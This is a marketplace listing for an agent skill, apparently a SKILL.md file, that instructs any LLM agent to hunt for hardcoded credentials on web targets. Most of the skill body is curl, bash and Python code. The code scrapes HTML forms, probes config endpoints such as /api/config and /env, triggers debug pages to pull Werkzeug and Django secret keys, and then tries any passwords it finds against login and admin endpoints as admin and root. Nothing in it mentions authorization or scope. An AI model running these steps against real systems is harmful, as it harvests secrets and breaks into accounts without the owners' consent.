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Hardcoded Credential Hunt

CommunityPopular
uphiago
hardcoded-credential-hunt

Detect hardcoded passwords in HTML forms, JavaScript, and API responses.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namehardcoded-credential-hunt
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Hardcoded Credential Hunt AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/hardcoded-credential-hunt .claude/skills/hardcoded-credential-hunt
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hardcoded Credential Hunt in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hardcoded Credential Hunt on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hardcoded Credential Hunt is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Hardcoded Credential Hunt

Detect credentials baked into client-side code or HTML responses. Targets include master passwords in form value attributes, secret keys in inline scripts, API tokens in configuration endpoints, and plaintext credentials leaked through debug error pages. This class of vulnerability bypasses authentication entirely — no brute force required.

When to Use

  • An application serves HTML forms with pre-filled or hidden password fields.
  • A configuration endpoint (/api/config, /env, /settings) returns JSON with credential-like strings.
  • A debug/error page leaks application secrets in JavaScript variables.
  • An unauthenticated API endpoint returns data that controls authentication (reset, exit registration, admin actions).
  • JavaScript bundles contain string assignments matching password patterns.

Prerequisites

  • terminal with curl and python3.
  • A target serving HTML, JSON, or JavaScript without proper authentication on configuration/settings endpoints.
  • Access to at least one public page, form, or API endpoint.

Quick Detection

bash
# Scan HTML for password fields with pre-filled values
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | grep -Eoi '(?:password|passwd|senha|pass|pwd|secret)\s*[=:"]\s*"?[^"&\s]{4,30}"?' | head -10

# Scan JSON config endpoints for credential-like keys
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/config" | python3 -c "
import sys, json, re
try:
    data = json.load(sys.stdin)
    for k, v in data.items() if isinstance(data, dict) else []:
        if any(x in k.lower() for x in ['pass','secret','key','token','auth']):
            print(f'{k}: {v}')
except: pass
"

# Scan inline JavaScript for hardcoded secrets
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:SECRET|PASSWORD|API_KEY|TOKEN)\s*=\s*"[^"]{8,}"' | head -10

Procedure

Phase 1 — HTML Form Inspection

Look for password fields with value attributes or hidden inputs containing credentials:

bash
# Extract all password inputs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Inputs with type=password and non-empty value
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']password[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html):
    print(f'PASSWORD FIELD: {m.group(1)}')
# Hidden inputs that look like passwords
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']hidden[\"\'][^>]*name\s*=\s*[\"\']([^\"\']*(?:pass|senha|secret|token|key)[^\"\']*)[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html, re.IGNORECASE):
    print(f'HIDDEN CREDENTIAL: {m.group(1)} = {m.group(2)}')
"

Phase 2 — Configuration Endpoint Probing

Probe common config endpoints that may leak credentials:

bash
for path in /api/config /api/settings /env /api/env /config.json /api/config.json \
            /api/v1/config /api/configuration /api/v2/settings /api/status; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com$path" -w "\n%{http_code}" 2>/dev/null)
  code=$(echo "$result" | tail -1)
  if [ "$code" = "200" ]; then
    echo "=== $path (200) ==="
    echo "$result" | python3 -c "
import sys, json, re
data = sys.stdin.read()
# Try JSON
try:
    obj = json.loads(data)
    for k, v in obj.items() if isinstance(obj, dict) else []:
        if any(x in str(k).lower() for x in ['pass','secret','key','token','auth','jwt']):
            print(f'  {k}: {v}')
except:
    # Try regex on plain text
    for m in re.finditer(r'(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']([^\"']{4,})[\"']', data, re.I):
        print(f'  {m.group(0)}')
" | head -20
  fi
done

Phase 3 — Debug Error Page Analysis

Werkzeug, Django, and Express debug pages often leak secrets in inline JavaScript:

bash
# Trigger an error and check for credential leaks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/ERROR_TRIGGER_PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Werkzeug debugger SECRET
match = re.search(r'SECRET\s*=\s*[\"]([^\"\']+)[\"]', html)
if match: print(f'WERKZEUG_SECRET: {match.group(1)}')
# Django settings
for m in re.finditer(r'SECRET_KEY\s*=\s*[\"]([^\"\']+)[\"]', html):
    print(f'DJANGO_SECRET: {m.group(1)}')
# Generic credential patterns
for m in re.finditer(r'(?:PASSWORD|PASS|TOKEN|API_KEY)\s*=\s*[\"]([^\"\']{6,})[\"']", html, re.I):
    print(f'LEAKED: {m.group(0)}')
"

Phase 4 — Authentication Bypass Testing

When a hardcoded password is found, test it against all authentication endpoints:

bash
PASSWORD="found_password"
# Test against common auth endpoints
for endpoint in /login /api/login /api/auth/login /auth /admin /api/admin; do
  for user in admin administrator root; do
    code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
      -d "username=$user&password=$PASSWORD" \
      "https://target.com$endpoint")
    if [ "$code" = "302" ] || [ "$code" = "200" ]; then
      echo "SUCCESS: $user:$PASSWORD at $endpoint (HTTP $code)"
    fi
  done
done

Pitfalls

  • Placeholder values look real. Test password123, changeme, and empty strings before reporting — they are often development defaults.
  • The credential may be scoped. A password for "exit registration" is not a full admin password. Map the credential to its actual permissions before scoring.
  • Form values may be dynamic. Check if the password changes per session (CSRF token pattern) vs. being truly static.
  • Base64 is not encryption. Decode any base64-looking strings found in JavaScript — they frequently contain credentials.
  • Rate limiting may block testing. Space authentication attempts 2-3 seconds apart.

Verification

  1. Confirm the credential is static: fetch the page/endpoint three times and verify the password value is identical each time.
  2. Confirm it grants access: use the credential at the intended endpoint and verify the response differs from a failed attempt (HTTP 200/302 vs 401/403).
  3. Map the privilege level: test the credential against other endpoints to determine scope (read-only, write, admin, reset).
  4. Check for audit trail: repeat the access with a unique identifier in the request to verify the action appears in logs (confirms real impact).

Related Skills

  • api-noauth-hunt — Exploiting API endpoints that lack authentication entirely.
  • js-secrets-extraction — Finding API keys and tokens in JavaScript bundles.
  • source-leak-hunt — Detecting exposed configuration files (.env, wp-config, etc.).
  • flask-werkzeug-attack — Exploiting Werkzeug debugger SECRET leaks and traceback disclosure.

Frequently asked questions

What does the Hardcoded Credential Hunt AI skill do?

Detect hardcoded passwords in HTML forms, JavaScript, and API responses.

Why use Hardcoded Credential Hunt on TypingMind?

Because you install it once and use it with any model. Hardcoded Credential Hunt is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hardcoded Credential Hunt in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/hardcoded-credential-hunt. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hardcoded Credential Hunt?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hardcoded Credential Hunt?

As many as you like. As long as a model supports skills, you can use Hardcoded Credential Hunt with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hardcoded Credential Hunt AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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